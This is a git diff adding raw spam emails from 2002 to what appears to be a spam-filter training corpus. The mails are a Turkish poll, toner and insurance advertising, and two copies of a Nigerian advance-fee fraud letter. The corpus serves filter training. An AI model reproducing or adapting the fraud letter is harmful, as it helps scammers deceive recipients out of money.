a/bayes/spamham/spam_2/01007.255b826a1098e8b7d603c7dcf79f3fba b/bayes/spamham/spam_2/01007.255b826a1098e8b7d603c7dcf79f3fba new file mode 100644 index 0000000..aee1964 --- /dev/null +++ b/bayes/spamham/spam_2/01007.255b826a1098e8b7d603c7dcf79f3fba @@ -0,0 +1,171 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OBCfhY012590 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 06:12:42 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OBCf73012583 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 06:12:41 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OBCWhY012525 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 06:12:33 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OBCVJ83540 + for ; Wed, 24 Jul 2002 07:12:31 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6OBCU906210 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 07:12:30 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6OBCSR06192 + for ; Wed, 24 Jul 2002 07:12:28 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OBCRJ83529 + for ; Wed, 24 Jul 2002 07:12:27 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id GAA25686 + for cpunks@minder.net; Wed, 24 Jul 2002 06:21:12 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id GAA25669 + for cypherpunks-outgoing; Wed, 24 Jul 2002 06:21:00 -0500 +Received: from mailmx.ada.net.tr (ns3.ada.net.tr [213.232.0.6]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id GAA25658 + for ; Wed, 24 Jul 2002 06:20:47 -0500 +From: ankara@dunyagazetesi.com.tr +Received: from ankara.ada.net.tr (root@ns.ada.net.tr [195.112.155.130]) + by mailmx.ada.net.tr (8.11.6/8.11.2) with ESMTP id g6PBC4A30731 + for ; Thu, 25 Jul 2002 14:12:04 +0300 +Received: from plain (abn167-99.ank-ports.kablonet.net.tr [195.174.167.99]) + by ankara.ada.net.tr (8.11.2/8.11.2) with SMTP id g6OBF1S27440 + for ; Wed, 24 Jul 2002 14:15:03 +0300 +Message-Id: <200207241115.g6OBF1S27440@ankara.ada.net.tr> +To: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Kime Oy Vereceksiniz ? +Date: Wed, 24 Jul 2002 14:09:44 +Mime-Version: 1.0 +Content-Type: text/plain; charset="DEFAULT_CHARSET" +X-Priority: 3 +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Kime Oy Vereceksiniz ? +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6OFIdhX009137 + +=DDyi g=FCnler + +=20 +D=DCNYA Gazetesi, i=E7inde bulundu=F0umuz siyasi karma=FEa d=F6neminin se= +=E7imler sonras=FDnda nas=FDl bir hal alaca=F0=FD konusunda kapsaml=FD bi= +r ara=FEt=FDrma yapmaktad=FDr. Bu =E7er=E7evede toplumumuzun m=FCmk=FCn o= +ldu=F0unca geni=FE bir kesiminin g=F6r=FC=FElerine ba=FEvurmay=FD gerekli= + g=F6rd=FCk.=20 + +=20 +3 Kas=FDm 2002 tarihinde yap=FDlmas=FD =F6ng=F6r=FClen se=E7imler sonras=FD= +nda siyasi belirsizli=F0in, dolay=FDs=FDyla da ekonomik belirsizli=F0in s= +ona erip ermeyece=F0i y=F6n=FCnde bir tahmin yapmam=FDz ve bu konuda kamu= +oyunu bilgilendirmemiz gerekti=F0ini d=FC=FE=FCn=FCyoruz. Sizin de g=F6r=FC= +=FElerinizi bize iletmeniz anketin sa=F0l=FDkl=FD olmas=FD =E7er=E7evesin= +de =F6nem ta=FE=FDmaktad=FDr.=20 + +=20 +D=DCNYA Gazetesi, anketi cevaplayanlar=FDn kimlikleri konusunda herhangi = +bir a=E7=FDklaman=FDn yap=FDlmayaca=F0=FD, sadece cevaplar=FDn=FDn dikkat= +e al=FDnaca=F0=FD y=F6n=FCnde tam garanti verir. =DDlginiz i=E7in te=FEek= +k=FCr eder, =E7al=FD=FEmalar=FDn=FDzda ba=FEar=FDlar dileriz. + +=20 +Anketin , daha geni=FE kapsaml=FD olmasi ve b=FCy=FCk kitlelere ula=FEabi= +lmesi i=E7in , + +Tan=FDd=FDklar=FDn=FDza bu mail=92i g=F6nderebilirsiniz . + +=20 + +Soru 1 + +=20 + +Se=E7imde hangi partiye oy vermeyi d=FC=FE=FCn=FCyorsunuz? + +=20 + +=20 + +=20 + +Soru 2 + +Sizce se=E7imlerde en =E7ok oyu hangi partiler alacak, bir s=FDralama yap= +abilir misiniz? + +=20 + +=20 + +=20 + +Soru 3 + +Se=E7imlerin sonucunu etkileyebilecek temel geli=FEmeler ne olabilir? + +=20 + +=20 + +=20 + +=20 + +=20 + +=20 + +=20 + +=20 +D=DCNYA GAZETES=DD ANKARA TEMS=DDLC=DDL=DD=D0=DD + +Tel: 312 446 99 24 + +Fax: 446 91 54 + +ankara@dunyagazetesi.com.tr + +=20 + +=20 + +=20 + +=20 + +=20 + +=20 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01008.5e932696d8f33950af53eb9461a014a2 b/bayes/spamham/spam_2/01008.5e932696d8f33950af53eb9461a014a2 new file mode 100644 index 0000000..b55c9bf --- /dev/null +++ b/bayes/spamham/spam_2/01008.5e932696d8f33950af53eb9461a014a2 @@ -0,0 +1,120 @@ +Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6OEHve32523 + for ; Wed, 24 Jul 2002 09:17:58 -0500 +Received: from user (nas7-54-205.mystarhub.com.sg [203.117.54.205]) + by eastgate.starhub.net.sg (8.12.1/8.12.1) with ESMTP id g6OE8UKH004941; + Wed, 24 Jul 2002 22:08:31 +0800 (SST) +Message-ID: <4116-220027324141058810@user> +To: "FFA Sites" +From: "AUTOMATED MAIL FOR LIFE!" +Subject: Set & Forget! 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    + + diff --git a/bayes/spamham/spam_2/01010.584ca28025d60d58521b4dd453125431 b/bayes/spamham/spam_2/01010.584ca28025d60d58521b4dd453125431 new file mode 100644 index 0000000..a29996e --- /dev/null +++ b/bayes/spamham/spam_2/01010.584ca28025d60d58521b4dd453125431 @@ -0,0 +1,140 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OFDshY006978 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 10:13:55 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OFDsXO006974 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 10:13:54 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OFDmhY006932 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 10:13:48 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OFDkJ90852 + for ; Wed, 24 Jul 2002 11:13:47 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6OFDjo21654 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 11:13:45 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6OFDiR21641 + for ; Wed, 24 Jul 2002 11:13:44 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OFDhJ90844 + for ; Wed, 24 Jul 2002 11:13:43 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id KAA29392 + for cpunks@minder.net; Wed, 24 Jul 2002 10:22:27 -0500 +Received: from einstein.ssz.com ([217.146.15.3]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id KAA29385 + for ; Wed, 24 Jul 2002 10:22:21 -0500 +Message-Id: <200207241522.KAA29385@einstein.ssz.com> +From: " mariam" +Date: Wed, 24 Jul 2002 16:13:23 +To: cpunks@einstein.ssz.com +Subject: your help +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +DEAR SIR, + +I am MRS MARIAM ABACHA, wife of the late Nigerian +Head of State, General Sani Abacha who died on +the 8th +of June 1998 while still on active duty. I am +contacting you in view of the fact that we will +be of +great assistance to each other likewise +developing a +cordial relationship. + +I currently have within my reach the sum of +thirty +six million United States Dollars +(US$36,000,000) in +cash, which I intend to use for investment +purposes +specifically in your country. This money came +as a +result of a payback contract deal between my +late +husband and a Russian firm on our country's +Multi-Billion Dollars Ajaokuta Steel Plant. The +Russian partners returned my husbands share of +US$36,000,000 after his death and lodge it with +my +late husband's security company in Nigeria of +which I +am a director. Right now the new civilian +government +have intensified their probe on my husband's +financial +resources and they have revoked our licenses +that +allows us to own a financial and oil company. +In view +of this, I acted very fast to withdraw the +US$36,000,000 from the company's vault and +deposited +it in a privately erected security safe abroad. + +No record ever existed concerning the money +neither is +the money traceable by the Government because +there is +no documentation showing that we received the +money +from the Russians. + +Due to the current situation in the country +concerning +Government attitude towards my family, it has +become +quite impossible for me to make use of this +money +within, thus I seek assistance to transfer this +money +into your safe bank account. On your consent, I +shall expect +you to contact me urgently to enable us discuss +details of this transaction. + +Bearing in mind that your assistance is needed +to +transfer the funds, I propose a commission of +20% of +the total sum to you for the expected services +and +assistance. Your urgent response is highly +needed so +as to stop further contacts. all correspondent +should be forwarded to this EMAIL:zenab.m@ompadec.zzn.con +or you can call my son mobile:hamza 234-8023137978 I use this +opportunity to implore you to exercise the most +utmost +indulgence to keep this matter extra ordinarily +confidential what ever your decision while I +await your +prompt response. + +Best personal regards, + +MRS MARIAM ABACHA. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01011.d4812088cad8553fb214dab8003add9b b/bayes/spamham/spam_2/01011.d4812088cad8553fb214dab8003add9b new file mode 100644 index 0000000..48eed7b --- /dev/null +++ b/bayes/spamham/spam_2/01011.d4812088cad8553fb214dab8003add9b @@ -0,0 +1,137 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OFNkhY011220 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 10:23:47 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OFNkHf011216 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 10:23:46 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OFNUhX011101 + for ; Wed, 24 Jul 2002 10:23:45 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id KAA29542 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 10:32:13 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id KAA29533 + for cypherpunks-outgoing; Wed, 24 Jul 2002 10:31:54 -0500 +Received: from einstein.ssz.com ([217.146.15.3]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id KAA29528 + for ; Wed, 24 Jul 2002 10:31:46 -0500 +Message-Id: <200207241531.KAA29528@einstein.ssz.com> +From: " mariam" +Date: Wed, 24 Jul 2002 16:23:20 +To: cypherpunks@einstein.ssz.com +Subject: your help +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +DEAR SIR, + +I am MRS MARIAM ABACHA, wife of the late Nigerian +Head of State, General Sani Abacha who died on +the 8th +of June 1998 while still on active duty. I am +contacting you in view of the fact that we will +be of +great assistance to each other likewise +developing a +cordial relationship. + +I currently have within my reach the sum of +thirty +six million United States Dollars +(US$36,000,000) in +cash, which I intend to use for investment +purposes +specifically in your country. This money came +as a +result of a payback contract deal between my +late +husband and a Russian firm on our country's +Multi-Billion Dollars Ajaokuta Steel Plant. The +Russian partners returned my husbands share of +US$36,000,000 after his death and lodge it with +my +late husband's security company in Nigeria of +which I +am a director. Right now the new civilian +government +have intensified their probe on my husband's +financial +resources and they have revoked our licenses +that +allows us to own a financial and oil company. +In view +of this, I acted very fast to withdraw the +US$36,000,000 from the company's vault and +deposited +it in a privately erected security safe abroad. + +No record ever existed concerning the money +neither is +the money traceable by the Government because +there is +no documentation showing that we received the +money +from the Russians. + +Due to the current situation in the country +concerning +Government attitude towards my family, it has +become +quite impossible for me to make use of this +money +within, thus I seek assistance to transfer this +money +into your safe bank account. On your consent, I +shall expect +you to contact me urgently to enable us discuss +details of this transaction. + +Bearing in mind that your assistance is needed +to +transfer the funds, I propose a commission of +20% of +the total sum to you for the expected services +and +assistance. Your urgent response is highly +needed so +as to stop further contacts. all correspondent +should be forwarded to this EMAIL:zenab.m@ompadec.zzn.con +or you can call my son mobile:hamza 234-8023137978 I use this +opportunity to implore you to exercise the most +utmost +indulgence to keep this matter extra ordinarily +confidential what ever your decision while I +await your +prompt response. + +Best personal regards, + +MRS MARIAM ABACHA. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01012.47b3508146cb115f6e00802d03c8df81 b/bayes/spamham/spam_2/01012.47b3508146cb115f6e00802d03c8df81 new file mode 100644 index 0000000..adfcad3 --- /dev/null +++ b/bayes/spamham/spam_2/01012.47b3508146cb115f6e00802d03c8df81 @@ -0,0 +1,141 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O4fhhY059330 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 23:41:43 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O4fg7Q059327 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 23:41:42 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O4fehY059302 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 23:41:41 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6O4fdJ70665 + for ; Wed, 24 Jul 2002 00:41:39 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6O4fc613347 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 00:41:38 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6O4fZR13332 + for ; Wed, 24 Jul 2002 00:41:35 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6O4fXJ70655 + for ; Wed, 24 Jul 2002 00:41:34 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA04778 + for cpunks@minder.net; Tue, 23 Jul 2002 23:50:14 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id XAA04763 + for cypherpunks-outgoing; Tue, 23 Jul 2002 23:50:06 -0500 +Received: from tdlexch.discovery.sprintpcs.com (adsl-66-140-83-134.dsl.kscymo.swbell.net [66.140.83.134]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id XAA04753 + for ; Tue, 23 Jul 2002 23:50:00 -0500 +Received: from mx06.hotmail.com ([172.191.99.144]) by tdlexch.discovery.sprintpcs.com with Microsoft SMTPSVC(5.0.2195.2966); + Tue, 23 Jul 2002 23:40:06 -0500 +Message-ID: <00006f2918d1$00006aa8$00005d56@mx06.hotmail.com> +To: +Cc: , , , + , , , + , +From: "Stephanie" +Old-Subject: CDR: Free Term Life Insurance Quotes LGJDG +Date: Tue, 23 Jul 2002 21:41:52 -1900 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-OriginalArrivalTime: 24 Jul 2002 04:40:06.0781 (UTC) FILETIME=[2F48C2D0:01C232CC] +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Free Term Life Insurance Quotes LGJDG + + + + + + +
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    + + + + + + +------=_NextPart_MABVCXIMXO-- + + diff --git a/bayes/spamham/spam_2/01016.ac6ce255291deba2f46cdd8ddba3ea01 b/bayes/spamham/spam_2/01016.ac6ce255291deba2f46cdd8ddba3ea01 new file mode 100644 index 0000000..b65bde7 --- /dev/null +++ b/bayes/spamham/spam_2/01016.ac6ce255291deba2f46cdd8ddba3ea01 @@ -0,0 +1,329 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONYHi5010344 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:34:17 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6ONYGLs010335 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 18:34:16 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6ONY8i5010290 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 18:34:08 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6ONY6J55023 + for ; Wed, 24 Jul 2002 19:34:07 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6ONY6M02041 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 19:34:06 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6ONY4R02019 + for ; Wed, 24 Jul 2002 19:34:04 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6ONY2J55006 + for ; Wed, 24 Jul 2002 19:34:03 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id SAA07090 + for cpunks@minder.net; Wed, 24 Jul 2002 18:42:59 -0500 +Received: from cable.net.co (24-196-229-55.charterga.net [24.196.229.55]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id SAA07065 + for ; Wed, 24 Jul 2002 18:42:46 -0500 +From: +To: cpunks@einstein.ssz.com +Subject: Save up to 50% on laser printer, copier, and fax cartridges. +Date: Wed, 24 Jul 2002 19:26:50 +Message-Id: <535.840630.859601@cable.net.co> +Mime-Version: 1.0 +Content-Type: text/html; charset="us-ascii" + + + + + + + + +

    +GT TONER +SUPPLIES
    Laser printer and computer supplies
    + 1-866-237-7397     + +

    + + +

    +Save up to 40% from retail price on laser printer toner +cartridges,
    +copier and fax cartridges.     +

    +

    +CHECK OUT OUR GREAT +PRICES! +

    +

    If you received this email on error, please reply to gtts1@cable.net.co with subject: REMOVE... sorry for the inconvenience. +

    Please forward to the person responsible for purchasing your laser printer +supplies. +

    +

        Order by +phone: (toll free) 1-866-237-7397 +
    +     +

    +    Order by email: +     +Simply reply this message or click here  +with subject: ORDER + +

    +

        Email +removal: Simply reply this message or + +click here +  with subject: + REMOVE +

    +     +     +University and/or + +School purchase +orders WELCOME. (no credit approval required)
    +Pay by check, c.o.d, or purchase order (net 30 days). +     +     +     +

    +

    WE ACCEPT ALL MAJOR CREDIT CARDS! +

    +

    New! HP 4500/4550 series color +cartridges in stock! +

    +

    + +Our cartridge prices are as follows:
    +(please order by item number)     +     +     +

    +

    Item                +Hewlett + Packard                   +Price +

    +

    1 -- 92274A Toner Cartridge for LaserJet 4L, 4ML, 4P, 4MP +------------------------$47.50
    +     + + +2 -- C4092A Black Toner Cartridge for LaserJet 1100A, ASE, 3200SE-----------------$45.50
    +     +     + +2A - C7115A Toner Cartridge For HP LaserJet 1000, 1200, 3330 ---------------------$55.50
    + +2B - C7115X High Capacity Toner Cartridge for HP LaserJet 1000, 1200, 3330 -------$65.50
    +     +3 -- 92295A Toner Cartridge for LaserJet II, IID, III, IIID ----------------------$49.50
    + +4 -- 92275A Toner Cartridge for LaserJet IIP, IIP+, IIIP -------------------------$55.50
    +     +5 -- C3903A Toner Cartridge for LaserJet 5P, 5MP, 6P, 6Pse, 6MP, 6Pxi ------------$46.50
    + +6 -- C3909A Toner Cartridge for LaserJet 5Si, 5SiMX, 5Si Copier, 8000 ------------$92.50
    +     +7 -- C4096A Toner Cartridge for LaserJet 2100, 2200DSE, 2200DTN ------------------$72.50
    + +8 - C4182X UltraPrecise High Capacity Toner Cartridge for LaserJet 8100 Series---$125.50
    +     +9 -- C3906A Toner Cartridge for LaserJet 5L, 5L Xtra, 6Lse, 6L, 6Lxi, 3100se------$42.50
    + +9A - C3906A Toner Cartridge for LaserJet 3100, 3150 ------------------------------$42.50
    +     +10 - C3900A Black Toner Cartridge for HP LaserJet 4MV, 4V ------------------------$89.50
    + +11 - C4127A Black Toner Cartridge for LaserJet 4000SE, 4000N, 4000T, 4000TN ------$76.50
    +     +11A- C8061A Black Laser Toner for HP LaserJet 4100, 4100N ------------------------$76.50
    + +11B- C8061X High Capacity Toner Cartridge for LJ4100, 4100N ----------------------$85.50
    +     +11C- C4127X High Capacity Black Cartridge for LaserJet 4000SE,4000N,4000T,4000TN +-$84.50
    + +12 - 92291A Toner Cartridge for LaserJet IIISi, 4Si, 4SiMX -----------------------$65.50
    +     +13 - 92298A Toner Cartridge for LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5se, 5M, 5N +--$46.50
    + +14 - C4129X High Capacity Black Toner Cartridge for LaserJet 5000N ---------------$97.50
    +     +15 - LASERFAX 500, 700 (FX1) -----------------------------------------------------$49.00
    + +16 - LASERFAX 5000, 7000 (FX2) ---------------------------------------------------$54.00
    +     +17 - LASERFAX (FX3) --------------------------------------------------------------$49.00
    + +18 - LASERFAX (FX4) --------------------------------------------------------------$49.00     +

    +

    Item            +Hewlett Packard - Color                +   +Price +

    +

    C1 -- C4194a Toner +Cartridge, +Yellow (color lj 4500/4550 series)------------------ $ 89.50
    +    C2 -- C4193a Toner +Cartridge, Magenta (color lj 4500/4550 series)----------------- +$ 89.50
    +C3 -- C4192a toner cartridge, cyan (color lj 4500/4550 series)-------------------- $ +89.50
    +    C4 -- c4191a toner cartridge, black (color lj 4500/4550 series)------------------- +$ 74.50     +

    +

    Item                    +Lexmark                         +Price +

    +

    19 - 1380520 High Yield Black Laser Toner for 4019, 4019E, 4028, 4029, 6, 10, 10L -- $109.50
    +    20 - 1382150 High Yield Toner for 3112, 3116, 4039-10+, 4049- Model 12L,16R, +Optra - $109.50
    +21 - 69G8256 Laser Cartridge for Optra E, +E+, EP, ES, 4026, 4026 (6A,6B,6D,6E)  ---- $ 49.00
    +    22 - 13T0101 High Yield Toner Cartridge for Lexmark Optra E310, E312, E312L -------- $ 89.00
    +23 - 1382625 High-Yield Laser Toner Cartridge for Lexmark Optra S (4059) ----------- $129.50
    +    24 - 12A5745 High Yield Laser Toner for Lexmark Optra T610, 612, 614 (4069) -------- $165.00     +

    +

    Item                +Epson                     +Price +

    +

    25 +---- S051009 Toner Cartridge for Epson EPL7000, 7500, 8000+ - $115.50
    +    25A --- S051009 LP-3000 PS 7000 -------------------------------- $115.50
    +26 ---- AS051011 Imaging Cartridge for +ActionLaser-1000, 1500 -- $ 99.50
    +    26A --- AS051011 EPL-5000, EPL-5100, EPL-5200 ------------------ $ 99.50
     +

    +

    Item            +Panasonic                +Price

    +

    27 +------Nec series 2 models 90 and 95 ---------------------- $109.50

    +

    Item                +     +Apple                                +Price

    +

    28 ---- 2473G/A Laser Toner for LaserWriter Pro 600, 630, LaserWriter 16/600 PS - +$ 57.50
    +    29 ---- 1960G/A Laser Toner for Apple LaserWriter Select, 300, 310, 360 --------- $ +71.50
    +30 ---- M0089LL/A Toner Cartridge for Laserwriter 300, 320 (74A) ---------------- $ +52.50
    +    31 ---- M6002 Toner Cartridge for Laserwriter IINT, IINTX, IISC, IIF, IIG (95A) - $ +47.50
    +31A --- M0089LL/A Toner Cartridge for Laserwriter +LS, NT, NTR, SC (75A) --------- $ +55.50
    +    32 ---- M4683G/A Laser Toner for LaserWriter 12, 640PS -------------------------- +$ 85.50
     +

    +

    Item                +Canon                           +Price

    +

    33 --- Fax +CFX-L3500, CFX-4000 CFX-L4500, CFX-L4500IE & IF FX3 ----------- $ 49.50
    +    33A -- L-250, L-260i, L-300 FX3 ------------------------------------------ +$ 49.50
    +33B -- LASER CLASS 2060, 2060P, 4000 FX3 --------------------------------- +$ 49.50
    +    34 --- LASER CLASS 5000, 5500, 7000, 7100, 7500, 6000 FX2 ---------------- +$ 49.50
    +35 --- FAX 5000 FX2 ------------------------------------------------------ +$ 49.50
    +    36 --- LASER CLASS 8500, 9000, 9000L, 9000MS, 9500, 9500 MS, 9500 S FX4 -- +$ 49.50
    +36A -- Fax L700,720,760,770,775,777,780,785,790, & L3300 FX1 +------------- $ 49.50
    +    36B -- L-800, L-900 FX4 -------------------------------------------------- +$ 49.50
    +37 --- A30R Toner Cartridge for PC-6, 6RE, 7, 11, 12 --------------------- +$ 59.50
